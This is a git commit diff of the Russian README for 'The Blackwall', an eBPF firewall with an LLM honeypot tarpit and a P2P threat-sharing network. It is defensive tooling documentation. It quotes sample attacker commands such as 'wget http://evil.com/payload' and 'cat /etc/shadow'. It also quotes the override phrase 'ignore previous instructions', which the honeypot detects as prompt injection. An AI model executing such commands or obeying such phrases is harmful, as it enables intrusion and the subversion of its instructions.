mirror of
https://github.com/xzcrpw/blackwall.git
synced 2026-04-26 12:16:20 +02:00
[hivemind] add live bootstrap node addresses + update READMEs
This commit is contained in:
parent
b9fc8d3f26
commit
a987991dec
4 changed files with 781 additions and 544 deletions
469
README_RU.md
469
README_RU.md
|
|
@ -8,162 +8,203 @@
|
|||
<p align="center">
|
||||
<img src="https://readme-typing-svg.herokuapp.com?font=JetBrains+Mono&weight=800&size=45&duration=3000&pause=1000&color=FF0000¢er=true&vCenter=true&width=600&lines=THE+BLACKWALL" alt="The Blackwall">
|
||||
<br>
|
||||
<em>Адаптивный eBPF-файрвол с AI-ханипотом</em>
|
||||
<em>Адаптивный eBPF файрвол с AI-ханипотом и P2P сетью угроз</em>
|
||||
</p>
|
||||
|
||||
# The Blackwall — Я написал умный файрвол, потому что Cyberpunk 2077 сломал мне мозг
|
||||
# The Blackwall — Я построил настоящий Блэквол, потому что Cyberpunk 2077 сломал мне мозг
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/язык-Rust-orange?style=for-the-badge&logo=rust" />
|
||||
<img src="https://img.shields.io/badge/ядро-eBPF%2FXDP-blue?style=for-the-badge" />
|
||||
<img src="https://img.shields.io/badge/ИИ-Ollama%20LLM-green?style=for-the-badge" />
|
||||
<img src="https://img.shields.io/badge/вайб-Cyberpunk-red?style=for-the-badge" />
|
||||
<img src="https://img.shields.io/badge/language-Rust-orange?style=for-the-badge&logo=rust" />
|
||||
<img src="https://img.shields.io/badge/kernel-eBPF%2FXDP-blue?style=for-the-badge" />
|
||||
<img src="https://img.shields.io/badge/AI-Ollama%20LLM-green?style=for-the-badge" />
|
||||
<img src="https://img.shields.io/badge/P2P-libp2p-purple?style=for-the-badge" />
|
||||
<img src="https://img.shields.io/badge/vibe-Cyberpunk-red?style=for-the-badge" />
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<em>"За Тёмным Заслоном есть вещи, от одного взгляда на которые нетраннер мгновенно сгорит."</em><br>
|
||||
<em>"За Блэкволом есть вещи, от одного взгляда на которые у нетраннера выгорит мозг."</em><br>
|
||||
<strong>— Альт Каннингем, наверное</strong>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<strong>Сейчас строю enterprise AI-автоматизацию в <a href="https://dokky.com.ua">Dokky</a></strong><br>
|
||||
<strong>Открыт для Enterprise Consulting & Y-Combinator: <a href="mailto:xzcrpw1@gmail.com">xzcrpw1@gmail.com</a></strong>
|
||||
<strong>Enterprise лицензирование и консалтинг: <a href="mailto:xzcrpw1@gmail.com">xzcrpw1@gmail.com</a></strong>
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
**Коротко:** я играл в Cyberpunk 2077 и подумал: *"А что, если бы Blackwall был настоящим?"* Поэтому я написал адаптивный eBPF-файрвол с ИИ-ханипотом, который притворяется взломанным Linux-сервером.
|
||||
**~8 500 строк Rust. Ни одного `unwrap()`. Один человек.**
|
||||
**TL;DR:** Играл в Cyberpunk, вдохновился, написал целый адаптивный файрвол, работающий внутри ядра Linux, ловящий угрозы с помощью AI, заманивающий атакующих в фейковый сервер на базе LLM, и делящийся threat intelligence через децентрализованную P2P-сеть.
|
||||
**~21к строк Rust. 298 тестов. 10 крейтов. Один человек.**
|
||||
|
||||
---
|
||||
|
||||
## Что это такое?
|
||||
## Что это?
|
||||
|
||||
В лоре Cyberpunk 2077 **Blackwall (Тёмный Заслон)** — это цифровой барьер, построенный NetWatch, чтобы отделить цивилизованную Сеть от диких ИИ — цифровых сущностей настолько опасных, что один взгляд на них может сжечь тебе мозг через нейроинтерфейс.
|
||||
**The Blackwall** — назван в честь цифрового барьера из Cyberpunk 2077, который не даёт диким AI пожрать цивилизованный Нет.
|
||||
|
||||
Этот проект — моя версия. Не от диких ИИ (пока что), а от реальных угроз.
|
||||
Моя версия. Многоуровневая система защиты, которая не просто блокирует угрозы — она их изучает, ловит в ловушку и рассказывает о них каждому другому узлу.
|
||||
|
||||
**The Blackwall** — это **адаптивный сетевой файрвол**, который:
|
||||
Три ключевых уровня, работающих вместе:
|
||||
|
||||
- Работает **внутри ядра Linux** через eBPF/XDP — обрабатывает пакеты на скорости линии еще до того, как они попадают в сетевой стек.
|
||||
- Выполняет **JA4 TLS-фингерпринтинг** — идентифицирует вредоносных клиентов по их ClientHello.
|
||||
- **Не просто блокирует атакующих** — он *перенаправляет их в тарпит*, фейковый Linux-сервер на базе LLM, который играет роль взломанного `root@web-prod-03`.
|
||||
- Имеет **поведенческий движок**, который отслеживает поведение каждого IP-адреса со временем — паттерны сканирования портов, интервалы beacon-соединений, аномалии энтропии.
|
||||
- Поддерживает **распределенный режим** — несколько узлов Blackwall обмениваются данными об угрозах peer-to-peer.
|
||||
- Записывает **PCAP** подозрительного трафика для форензики.
|
||||
- Включает **Deception Mesh** — поддельные SSH, HTTP (WordPress), MySQL и DNS-сервисы, чтобы заманивать и фингерпринтить атакующих.
|
||||
**1. Файрвол на уровне ядра (eBPF/XDP)** — анализ пакетов происходит внутри ядра Linux ещё до того, как трафик попадёт в сетевой стек. Решения за наносекунды. Энтропийный анализ, TLS-фингерпринтинг, глубокая инспекция пакетов, рейт-лимитинг, трекинг соединений — всё работает в BPF виртуальной машине.
|
||||
|
||||
### Самая интересная часть
|
||||
**2. AI-ханипот (Tarpit)** — вместо того, чтобы просто дропать вредоносный трафик, он перенаправляется на фейковый Linux-сервер. LLM симулирует bash, отвечает на команды, отдаёт фейковые файлы, играет роль скомпрометированного `root@web-prod-03`. Атакующие тратят время, пока всё записывается.
|
||||
|
||||
Когда злоумышленник подключается к тарпиту, он видит:
|
||||
**3. P2P сеть угроз (HiveMind)** — узлы находят друг друга, обмениваются IoC через зашифрованную libp2p-сеть, голосуют за угрозы через консенсус, отслеживают репутацию пиров. Одна нода ловит сканер — все остальные узнают за секунды.
|
||||
|
||||
Плюс: распределённый контроллер сенсоров, API для интеграции с SIEM (STIX/TAXII/Splunk/QRadar/CEF), TUI-дашборд, поведенческий профайлинг по IP, ингест threat-фидов, PCAP-форензика.
|
||||
|
||||
---
|
||||
|
||||
## Архитектура
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
**Пайплайн:**
|
||||
|
||||
```
|
||||
|
||||
Ubuntu 24.04.2 LTS web-prod-03 tty1
|
||||
|
||||
web-prod-03 login: root
|
||||
Password:
|
||||
Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
|
||||
|
||||
root@web-prod-03:\~\#
|
||||
|
||||
Пакет приходит
|
||||
→ XDP: энтропия, блоклист/вайтлист, CIDR, рейт-лимит, JA4, DPI
|
||||
→ RingBuf (zero-copy) → Демон в юзерспейсе
|
||||
→ Статические правила → Поведенческий автомат → JA4 БД → LLM классификация
|
||||
→ Вердикт: PASS / DROP / REDIRECT_TO_TARPIT
|
||||
→ eBPF BLOCKLIST обновляется в реальном времени
|
||||
→ IoC шарится в HiveMind P2P-сеть
|
||||
```
|
||||
|
||||
Это все ненастоящее. Это LLM, притворяющаяся bash-ем. Она реагирует на `ls`, `cat /etc/passwd`, `wget`, даже `rm -rf /` — всё фейковое, всё логируется, всё создано, чтобы тратить время атакующего, пока мы изучаем его методы.
|
||||
---
|
||||
|
||||
**Представьте: злоумышленник тратит 30 минут, исследуя «взломанный сервер»... который на самом деле является ИИ, тянущим время, пока Blackwall молча записывает всё.**
|
||||
## Что делает каждый крейт
|
||||
|
||||
Это нетраннерство уровня V.
|
||||
### blackwall-ebpf — Уровень ядра (1,334 строки)
|
||||
|
||||
eBPF-программы на XDP-хуке — самая ранняя точка, где можно тронуть пакет. Работает под жёсткими правилами BPF-верификатора: 512 байт стека, без хипа, без float, только ограниченные циклы.
|
||||
|
||||
- **Расчёт энтропии** — частотный анализ байтов, целочисленная энтропия Шеннона (0–7936). Высокая энтропия на не-TLS портах → зашифрованный C2-трафик
|
||||
- **TLS-фингерпринтинг** — парсит ClientHello, извлекает cipher suites, extensions, ALPN, SNI → JA4-отпечаток. Один фингерпринт покрывает тысячи ботов с одной TLS-либой
|
||||
- **DPI через tail calls** — `PROG_ARRAY` диспатчит протокольные анализаторы:
|
||||
- HTTP: метод + URI (ловит `/wp-admin`, `/phpmyadmin`, path traversal)
|
||||
- DNS: длина запроса + количество меток (детекция DNS-туннелирования)
|
||||
- SSH: фингерпринтинг баннера (`libssh`, `paramiko`, `dropbear`)
|
||||
- **DNAT-редирект** — подозрительный трафик тихо NAT'ится на тарпит. Атакующий не знает, что покинул реальный сервер
|
||||
- **Трекинг соединений** — stateful TCP-мониторинг, LRU-мап (16K записей)
|
||||
- **Рейт-лимитинг** — per-IP token bucket, предотвращает флуд и переполнение RingBuf
|
||||
- **4 RingBuf-канала** — EVENTS, TLS_EVENTS, EGRESS_EVENTS, DPI_EVENTS
|
||||
|
||||
Мапы: `BLOCKLIST`, `ALLOWLIST`, `CIDR_RULES`, `COUNTERS`, `RATE_LIMIT`, `CONN_TRACK`, `NAT_TABLE`, `TARPIT_TARGET`, `PROG_ARRAY`, плюс 4 RingBuf-мапы.
|
||||
|
||||
### blackwall — Мозг (6,362 строки)
|
||||
|
||||
Главный демон. Загружает eBPF-программы, потребляет события из RingBuf, запускает пайплайн принятия решений.
|
||||
|
||||
- **Rules engine** — статический блоклист/вайтлист, CIDR-диапазоны из конфига + фиды
|
||||
- **Поведенческий автомат** — профайлинг по IP: частота соединений, разнообразие портов, распределение энтропии, анализ тайминга. Фазы: `New → Suspicious → Malicious → Blocked` (или `→ Trusted`). Детекция биконинга через целочисленный CoV
|
||||
- **JA4-база** — матчинг TLS-фингерпринтов с известными вредоносными сигнатурами
|
||||
- **AI-классификация** — интеграция с Ollama, модели ≤3B параметров (Qwen3 1.7B/0.6B). Батчинг событий, структурированные JSON-вердикты
|
||||
- **Threat-фиды** — ингест внешних фидов (Firehol, abuse.ch)
|
||||
- **PCAP-захват** — форензик-запись с ротацией + компрессией
|
||||
- **Обратная связь в реальном времени** — вердикты пишутся обратно в eBPF BLOCKLIST
|
||||
- **HiveMind-бридж** — подтверждённые IoC шарятся в P2P-сеть
|
||||
|
||||
### tarpit — Ловушка (2,179 строк)
|
||||
|
||||
Уровень обмана. Атакующие, перенаправленные сюда через DNAT, думают, что попали на реальный сервер.
|
||||
|
||||
- **Автодетекция протокола** — определяет SSH, HTTP, MySQL, DNS по первым байтам
|
||||
- **Хендлеры протоколов:**
|
||||
- SSH: баннер, авторизация, PTY-сессия
|
||||
- HTTP: фейковый WordPress, `/wp-admin`, `.env`, реалистичные хедеры
|
||||
- MySQL: хендшейк, авторизация, ответы с фейковыми данными
|
||||
- DNS: правдоподобные ответы на запросы
|
||||
- **LLM-симуляция bash** — каждая команда → Ollama. `ls -la` возвращает файлы, `cat /etc/shadow` — хеши, `wget` — "скачивает", `mysql -u root` — "подключается". LLM не знает, что это ханипот
|
||||
- **Экспоненциальный джиттер** — чанки 1-15 байт, задержка 100мс–30с. Максимум потраченного времени
|
||||
- **Анти-фингерпринтинг** — рандомизированные TCP window, TTL, начальная задержка. p0f/Nmap не распознают
|
||||
- **Защита от prompt injection** — 25+ паттернов, симуляция никогда не ломается
|
||||
- **Credential canaries** — все введённые креды логируются
|
||||
- **Управление сессиями** — состояние по соединению, история команд, трекинг CWD
|
||||
|
||||
### hivemind — Сеть (6,526 строк)
|
||||
|
||||
Децентрализованный threat intelligence на libp2p.
|
||||
|
||||
- **Транспорт** — QUIC + Noise-шифрование, каждое соединение аутентифицировано
|
||||
- **Обнаружение пиров** — Kademlia DHT (глобальный), mDNS (локальный), конфигурируемые seed-пиры
|
||||
- **Обмен IoC** — GossipSub pub/sub, распространение по сети за секунды
|
||||
- **Консенсус** — N независимых подтверждений обязательны. Никакого одноисточникового доверия
|
||||
- **Репутация** — пиры зарабатывают реп за хорошие IoC, теряют за фолсы. Плохие акторы слешатся
|
||||
- **Защита от Sybil** — PoW-челленджи, детекция самоссылок в k-buckets, рейт-лимит регистрации
|
||||
- **Федеративное обучение** — локальный тренинг + FedAvg-агрегация, шаринг градиентов (FHE-стаб)
|
||||
- **Защита от data poisoning** — мониторинг распределения градиентов, детекция model inversion
|
||||
- **ZKP-инфраструктура** — Groth16 стабы для trustless-верификации IoC
|
||||
|
||||
### hivemind-api — Enterprise-интеграция (2,711 строк)
|
||||
|
||||
REST API для подключения HiveMind-данных к корпоративным SIEM.
|
||||
|
||||
- **STIX 2.1** — стандартный формат threat intelligence
|
||||
- **TAXII 2.1** — протокол обмена угрозами
|
||||
- **Splunk HEC** — HTTP Event Collector
|
||||
- **QRadar LEEF** — Log Event Extended Format
|
||||
- **CEF** — Common Event Format
|
||||
- **Тирированное лицензирование** — Basic / Professional / Enterprise / NationalSecurity
|
||||
- **Лайв-статистика** — XDP-каунтеры + P2P-метрики в реальном времени
|
||||
|
||||
### hivemind-dashboard — Монитор (571 строка)
|
||||
|
||||
TUI-дашборд. Чистый ANSI — без ratatui, без crossterm, сырые escape-коды. Лайв-статус сети.
|
||||
|
||||
### blackwall-controller — Командный центр (356 строк)
|
||||
|
||||
CLI для управления несколькими сенсорами. HMAC-аутентификация (PSK). Статистика, список заблокированных IP, здоровье всех нод из одного места.
|
||||
|
||||
### common — Контракт (1,126 строк)
|
||||
|
||||
`#[repr(C)]` типы между ядром и юзерспейсом: `PacketEvent`, `RuleKey`, `TlsComponentsEvent`, `DpiEvent`, каунтеры, base64. Контракт, на котором построена вся система.
|
||||
|
||||
### xtask — Билд-тулы (46 строк)
|
||||
|
||||
`cargo xtask build-ebpf` — компиляция nightly + `bpfel-unknown-none`.
|
||||
|
||||
---
|
||||
|
||||
## Архитектура — как работает ICE
|
||||
## Стек технологий
|
||||
|
||||

|
||||
| Уровень | Технология | Почему |
|
||||
|---------|-----------|--------|
|
||||
| Ядро | **aya-rs** (eBPF/XDP) | Чистый Rust eBPF — без C, без libbpf |
|
||||
| Рантайм | **Tokio** (current_thread) | Однопоточный, без оверхеда |
|
||||
| IPC | **RingBuf** | Zero-copy, 7.5% оверхед против 35% у PerfEventArray |
|
||||
| Конкурентность | **papaya** + **crossbeam** | Lock-free мапы + MPMC-очереди |
|
||||
| P2P | **libp2p** | QUIC, Noise, Kademlia, GossipSub, mDNS |
|
||||
| Крипта | **ring** | ECDSA, SHA256, HKDF, HMAC |
|
||||
| HTTP | **hyper** 1.x | Минимальный. Без веб-фреймворков |
|
||||
| AI | **Ollama** | Локальный инференс, GGUF-квантизация |
|
||||
| Конфиг | **TOML** | Читабельный, минимальный |
|
||||
| Логирование | **tracing** | Структурированное. Zero `println!` в проде |
|
||||
|
||||

|
||||
|
||||
На языке Cyberpunk:
|
||||
|
||||
- **XDP** = первый слой ICE Тёмного Заслона — решения за миллисекунды.
|
||||
- **Поведенческий движок** = ИИ-наблюдение NetWatch.
|
||||
- **Тарпит** = демон за Заслоном, заманивающий нетраннеров в фейковую реальность.
|
||||
- **Threat Feeds** = разведка от фиксеров со всей Сети.
|
||||
- **PCAP** = брейнданс-записи вторжения.
|
||||
**22 зависимости.** Каждая обоснована. Без bloat-крейтов.
|
||||
|
||||
---
|
||||
|
||||
## Крейты воркспейса
|
||||
## Деплой
|
||||
|
||||
| Крейт | Строки | Назначение | Аналог из Cyberpunk |
|
||||
|-------|--------|------------|---------------------|
|
||||
| `common` | ~400 | `#[repr(C)]` общие типы между ядром и юзерспейсом | Контракт — о чем обе стороны договорились |
|
||||
| `blackwall-ebpf` | ~1 800 | XDP/TC программы в ядре | Сам ICE Тёмного Заслона |
|
||||
| `blackwall` | ~4 200 | Юзерспейс-демон, поведенческий движок, ИИ | Центр управления NetWatch |
|
||||
| `tarpit` | ~1 600 | TCP-ханипот с LLM bash-симуляцией | Демон, заманивающий нетраннеров |
|
||||
| `blackwall-controller` | ~250 | Координатор распределенных сенсоров | C&C сервер Арасаки |
|
||||
| `xtask` | ~100 | Инструменты сборки | Набор рипердока |
|
||||
```
|
||||
deploy/
|
||||
docker/
|
||||
Dockerfile.blackwall # Multi-stage, stripped binary
|
||||
Dockerfile.ebpf # Nightly eBPF build
|
||||
helm/
|
||||
blackwall/ # K8s DaemonSet + ConfigMap
|
||||
systemd/
|
||||
server/ # Серверные юниты
|
||||
laptop/ # Dev/ноутбук юниты
|
||||
examples/ # Примеры конфигов
|
||||
healthcheck.sh # Проверка компонентов
|
||||
```
|
||||
|
||||
**Итого: ~8 500 строк Rust, 48 файлов, 123 теста, 0 `unwrap()` в продакшн-коде.**
|
||||
|
||||
---
|
||||
|
||||
## Ключевые фичи
|
||||
|
||||
### 1. Обработка пакетов на уровне ядра (XDP)
|
||||
|
||||
Пакеты анализируются в виртуальной машине eBPF до того, как они доберутся до TCP/IP-стека. Это решения за **наносекунды**. HashMap для блок-листов, LPM trie для CIDR-диапазонов, анализ энтропии для зашифрованного C2-трафика.
|
||||
|
||||
### 2. JA4 TLS-фингерпринтинг
|
||||
|
||||
Каждый TLS ClientHello парсится в ядре. Cipher suites, расширения, ALPN, SNI — хешируются в JA4-фингерпринт. Ботнеты используют одни и те же TLS-библиотеки, поэтому их фингерпринты идентичны. Один фингерпринт → блокируешь тысячи ботов.
|
||||
|
||||
### 3. Deep Packet Inspection (DPI) через Tail Calls
|
||||
|
||||
eBPF `PROG_ARRAY` tail calls разбивают обработку по протоколами:
|
||||
|
||||
- **HTTP**: Анализ метода + URI (подозрительные пути типа `/wp-admin`, `/phpmyadmin`).
|
||||
- **DNS**: Длина запроса + количество лейблов (выявление DNS-туннелирования).
|
||||
- **SSH**: Анализ баннера (идентификация `libssh`, `paramiko`, `dropbear`).
|
||||
|
||||
### 4. ИИ-классификация угроз
|
||||
|
||||
Когда поведенческий движок не уверен — он спрашивает LLM. Локально через Ollama с моделями ≤3B параметров (Qwen3 1.7B, Llama 3.2 3B). Классифицирует трафик как `benign`, `suspicious` или `malicious` со структурированным JSON-выходом.
|
||||
|
||||
### 5. TCP-тарпит с LLM Bash-симуляцией
|
||||
|
||||
Атакующих перенаправляют на фейковый сервер. LLM симулирует bash — `ls -la` показывает файлы, `cat /etc/shadow` показывает хеши, `mysql -u root` подключает к «базе данных». Ответы стримятся со случайным джиттером (чанки по 1-15 байт, экспоненциальный backoff), чтобы тратить время злоумышленника.
|
||||
|
||||
### 6. Антифингерпринтинг
|
||||
|
||||
Тарпит рандомизирует TCP window sizes, TTL-значения и добавляет случайную начальную задержку — чтобы атакующие не могли определить, что это ханипот, через p0f или Nmap OS detection.
|
||||
|
||||
### 7. Защита от Prompt Injection
|
||||
|
||||
Атакующие, которые поняли, что говорят с ИИ, могут попытаться `"ignore previous instructions"`. Система детектит 25+ паттернов инъекций и отвечает `bash: ignore: command not found`.
|
||||
|
||||
### 8. Распределенная разведка угроз
|
||||
|
||||
Несколько узлов Blackwall обмениваются списками заблокированных IP, JA4-наблюдениями и поведенческими вердиктами через кастомный бинарный протокол. Один узел обнаруживает сканер → все узлы блокируют его мгновенно.
|
||||
|
||||
### 9. Поведенческая state machine
|
||||
|
||||
Каждый IP получает поведенческий профиль: частота соединений, разнообразие портов, распределение энтропии, анализ таймингов (детекция beaconing через целочисленный коэффициент вариации). Прогрессия фаз: `New → Suspicious → Malicious → Blocked` (или `→ Trusted`).
|
||||
|
||||
---
|
||||
|
||||
## Технологический стек
|
||||
|
||||
| Уровень | Технология |
|
||||
|---------|------------|
|
||||
| Программы ядра | eBPF/XDP через **aya-rs** (чистый Rust, без C, без libbpf) |
|
||||
| Юзерспейс-демон | **Tokio** (только current_thread) |
|
||||
| IPC | **RingBuf** zero-copy (7.5% overhead против 35% PerfEventArray) |
|
||||
| Конкурентные мапы | **papaya** (lock-free read-heavy HashMap) |
|
||||
| ИИ-инференс | **Ollama** + GGUF Q5_K_M квантизация |
|
||||
| Конфигурация | **TOML** |
|
||||
| Логирование | **tracing** структурированное логирование |
|
||||
| Сборка | Кастомный **xtask** + nightly Rust + `bpfel-unknown-none` таргет |
|
||||
Docker multi-stage. Helm для K8s (DaemonSet, один на ноду, `CAP_BPF`). systemd для bare metal.
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -171,51 +212,46 @@ eBPF `PROG_ARRAY` tail calls разбивают обработку по прот
|
|||
|
||||
### Требования
|
||||
|
||||
- Linux kernel 5.15+ с BTF (или WSL2 с кастомным ядром).
|
||||
- Rust nightly + компонент `rust-src`.
|
||||
- `bpf-linker` (`cargo install bpf-linker`).
|
||||
- Ollama (для ИИ-функций).
|
||||
- Linux 5.15+ с BTF (или WSL2 с кастомным ядром)
|
||||
- Rust stable + nightly с `rust-src`
|
||||
- `bpf-linker` — `cargo install bpf-linker`
|
||||
- Ollama (опционально, для AI)
|
||||
|
||||
### Сборка
|
||||
|
||||
```bash
|
||||
# eBPF-программы (нужен nightly)
|
||||
cargo xtask build-ebpf
|
||||
|
||||
# Юзерспейс
|
||||
cargo build --release -p blackwall
|
||||
|
||||
# Ханипот
|
||||
cargo build --release -p tarpit
|
||||
|
||||
# Линтер + тесты
|
||||
cargo clippy --workspace -- -D warnings
|
||||
cargo test --workspace
|
||||
````
|
||||
cargo xtask build-ebpf # eBPF (nightly)
|
||||
cargo build --release --workspace # весь юзерспейс
|
||||
cargo clippy --workspace -- -D warnings # линт
|
||||
cargo test --workspace # 298 тестов
|
||||
```
|
||||
|
||||
### Запуск
|
||||
|
||||
```bash
|
||||
# Демон (нужен root/CAP_BPF)
|
||||
sudo RUST_LOG=info ./target/release/blackwall config.toml
|
||||
|
||||
# Тарпит
|
||||
RUST_LOG=info ./target/release/tarpit
|
||||
|
||||
# Распределенный контроллер
|
||||
./target/release/blackwall-controller 10.0.0.2:9471 10.0.0.3:9471
|
||||
sudo RUST_LOG=info ./target/release/blackwall config.toml # нужен root/CAP_BPF
|
||||
RUST_LOG=info ./target/release/tarpit # ханипот
|
||||
RUST_LOG=info ./target/release/hivemind # P2P-нода
|
||||
RUST_LOG=info ./target/release/hivemind-api # API threat-фидов
|
||||
./target/release/hivemind-dashboard # TUI
|
||||
BLACKWALL_PSK=<key> ./target/release/blackwall-controller stats <ip>:<port>
|
||||
```
|
||||
|
||||
### Конфигурация
|
||||
### Конфиг
|
||||
|
||||
```toml
|
||||
[network]
|
||||
interface = "eth0"
|
||||
xdp_mode = "generic"
|
||||
|
||||
[thresholds]
|
||||
entropy_anomaly = 6000
|
||||
|
||||
[tarpit]
|
||||
enabled = true
|
||||
port = 9999
|
||||
port = 2222
|
||||
base_delay_ms = 100
|
||||
max_delay_ms = 30000
|
||||
|
||||
[tarpit.services]
|
||||
ssh_port = 22
|
||||
|
|
@ -227,6 +263,11 @@ dns_port = 53
|
|||
enabled = true
|
||||
ollama_url = "http://localhost:11434"
|
||||
model = "qwen3:1.7b"
|
||||
fallback_model = "qwen3:0.6b"
|
||||
|
||||
[rules]
|
||||
blocklist = ["1.2.3.4"]
|
||||
allowlist = ["127.0.0.1"]
|
||||
|
||||
[feeds]
|
||||
enabled = true
|
||||
|
|
@ -235,87 +276,127 @@ refresh_interval_secs = 3600
|
|||
[pcap]
|
||||
enabled = true
|
||||
output_dir = "/var/lib/blackwall/pcap"
|
||||
compress_rotated = true
|
||||
|
||||
[distributed]
|
||||
enabled = false
|
||||
mode = "standalone"
|
||||
bind_port = 9471
|
||||
psk = "your-256bit-hex-key"
|
||||
```
|
||||
|
||||
## Визуальные результаты
|
||||
---
|
||||
|
||||

|
||||
## Тарпит в действии
|
||||
|
||||
-----
|
||||
|
||||
## Связь с Cyberpunk
|
||||
|
||||
Во вселенной Cyberpunk 2077 **Blackwall** построили после DataKrash 2022 года — когда вирус R.A.B.I.D.S. Рейча Бартмосса уничтожил старую Сеть. NetWatch построил Тёмный Заслон как барьер, чтобы сдержать диких ИИ, эволюционировавших в руинах.
|
||||
|
||||
Некоторые персонажи — такие как Альт Каннингем — существуют за Тёмным Заслоном, превращенные во что-то большее, чем человек, и меньшее, чем живое существо.
|
||||
|
||||
Этот проект берет эту концепцию и делает ее реальной (ну, почти):
|
||||
|
||||
| Cyberpunk 2077 | The Blackwall (Этот проект) |
|
||||
|----------------|-----------------------------|
|
||||
| Тёмный Заслон | eBPF/XDP файрвол на уровне ядра |
|
||||
| ICE | XDP fast-path DROP + энтропия + JA4 |
|
||||
| Атаки нетраннеров | Сканирование портов, брутфорс, C2 beaconing |
|
||||
| Демоны за Заслоном | LLM-тарпит, который притворяется настоящим сервером |
|
||||
| Наблюдение NetWatch | Поведенческий движок + state machine на IP |
|
||||
| Дикие ИИ | Ботнеты и автоматические сканеры |
|
||||
| Записи Брейнданса | PCAP-форензика |
|
||||
| Разведка фиксеров | Threat feeds (Firehol, abuse.ch) |
|
||||
| C\&C Арасаки | Распределенный контроллер |
|
||||
|
||||
-----
|
||||
|
||||
## Статистика проекта
|
||||
Подключаешься к тарпиту и видишь:
|
||||
|
||||
```
|
||||
Язык: 100% Rust (без C, без Python, без shell-скриптов в продакшене)
|
||||
Строки кода: ~8 500
|
||||
Файлы: 48
|
||||
Тесты: 123
|
||||
unwrap(): 0 (в продакшн-коде)
|
||||
Зависимости: 12 (проверенные, без лишнего)
|
||||
eBPF стек: всегда ≤ 512 байт
|
||||
Clippy: никаких предупреждений (-D warnings)
|
||||
Ubuntu 24.04.2 LTS web-prod-03 tty1
|
||||
|
||||
web-prod-03 login: root
|
||||
Password:
|
||||
Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
|
||||
|
||||
root@web-prod-03:~#
|
||||
```
|
||||
|
||||
-----
|
||||
Ничего из этого не существует. LLM играет в bash. `ls` — файлы. `cat /etc/passwd` — юзеры. `mysql -u root -p` — подключение. `wget http://evil.com/payload` — загрузка.
|
||||
|
||||
## Философия разработки
|
||||
30 минут на сервере, которого нет. Каждый кейстрок записан. IoC расшарены в сеть.
|
||||
|
||||
> *"Сколько бы раз я ни видел Найт-Сити... он всегда захватывает дух."*
|
||||
---
|
||||
|
||||
1. **Никаких зависимостей, где это возможно.** Если алгоритм занимает меньше 500 строк — пишешь сам. Никакого `reqwest` (50+ транзитивных зависимостей), никакого `clap` (излишне для 2 аргументов CLI).
|
||||
2. **Контракт на первом месте.** Крейт `common` определяет все общие типы. eBPF и юзерспейс никогда не спорят о структуре памяти.
|
||||
3. **Никаких шорткатов в eBPF.** Каждый доступ `ctx.data()` имеет bounds check. Не потому что верификатор требует, а потому что каждый байт из пакетов атакующего — это враждебный ввод.
|
||||
4. **Тарпит никогда не выдает себя.** Системный промпт LLM никогда не упоминает "ханипот". Prompt injection ожидается и заблокирован.
|
||||
5. **Наблюдаемый, но не болтливый.** Структурированное tracing с уровнями. Никаких `println!` в продакшене.
|
||||
## Модель безопасности
|
||||
|
||||
-----
|
||||
- Каждый байт из пакетов = контролируемый атакующим. Все `ctx.data()` с bounds-check
|
||||
- Zero `unwrap()` в проде — `?`, `expect("reason")`, или `match`
|
||||
- Prompt injection: ожидается. 25+ паттернов ловится, симуляция не ломается
|
||||
- P2P: Sybil guard (PoW + слешинг репутации), N-of-M консенсус по IoC
|
||||
- Тарпит: TCP-рандомизация — p0f/Nmap не смогут зафингерпринтить
|
||||
- Контроллер: HMAC-аутентифицированный, без неавторизованного доступа
|
||||
- Ядро: рейт-лимитинг предотвращает переполнение RingBuf
|
||||
- Шатдаун: чистит правила фаервола, никаких осиротевших iptables-записей
|
||||
|
||||
---
|
||||
|
||||
## Enterprise-версия
|
||||
|
||||
**[Blackwall Enterprise](https://github.com/xzcrpw/blackwall-enterprise)** добавляет то, чего нет ни у кого: **анализ Agent-to-Agent (A2A) трафика в реальном времени на уровне ядра.**
|
||||
|
||||
AI-агенты начинают общаться друг с другом — LLM-to-LLM, через MCP, A2A-протокол, агентные фреймворки. Это новая поверхность атаки: prompt injection через межагентную коммуникацию, подделка интентов, кража идентичности агентов. На рынке ничего для этого нет. Blackwall Enterprise — первый и единственный такой модуль.
|
||||
|
||||
**~8,400 строк Rust.** Отдельный репозиторий, отдельная лицензия.
|
||||
|
||||
| Компонент | Что делает |
|
||||
|-----------|-----------|
|
||||
| **A-JWT Валидация** | Верификация Agentic JWT по IETF-драфту. Проверка подписи через `ring`, предотвращение реплея, кеширование ключей |
|
||||
| **Верификация интентов** | Исчерпывающий матчинг полей — `max_amount`, `allowed_recipients` (glob), allowlist действий |
|
||||
| **Чексума агента** | SHA256(system_prompt + tools_config) — тамперинг = мгновенный блок |
|
||||
| **Proof-of-Possession** | cnf/jwk ECDSA-привязка — доказывает, что агент держит свой ключ |
|
||||
| **eBPF Uprobes** | Хуки в OpenSSL/GnuTLS `SSL_write`/`SSL_read` — перехватывает A2A-плейнтекст без разрыва TLS |
|
||||
| **Risk-Based Routing** | Конфигурируемые policy: allow / review / block по уровню риска |
|
||||
| **ZK Proofs** | Аттестация нарушений без раскрытия сырого трафика (Groth16) |
|
||||
| **P2P Gossip** | Proof нарушений бродкастятся в HiveMind-меш |
|
||||
|
||||
**Лицензирование:** [xzcrpw1@gmail.com](mailto:xzcrpw1@gmail.com)
|
||||
|
||||
---
|
||||
|
||||
## Статистика
|
||||
|
||||
```
|
||||
Язык: 100% Rust
|
||||
Всего: ~21,200 строк
|
||||
Файлов: 92 .rs
|
||||
Крейтов: 10
|
||||
Тестов: 298
|
||||
unwrap(): 0 в проде
|
||||
Зависимостей: 22 (проаудированные)
|
||||
eBPF-стек: ≤ 512 байт всегда
|
||||
Clippy: -D warnings, ноль проблем
|
||||
CI: check + clippy + tests + eBPF nightly build
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Киберпанк-справочник
|
||||
|
||||
| Cyberpunk 2077 | Этот проект |
|
||||
|----------------|-----------|
|
||||
| The Blackwall | Файрвол на уровне ядра eBPF/XDP |
|
||||
| ICE | XDP fast-path: энтропия + JA4 + DPI + DNAT |
|
||||
| Демоны | LLM-тарпит — фейковый сервер за стеной |
|
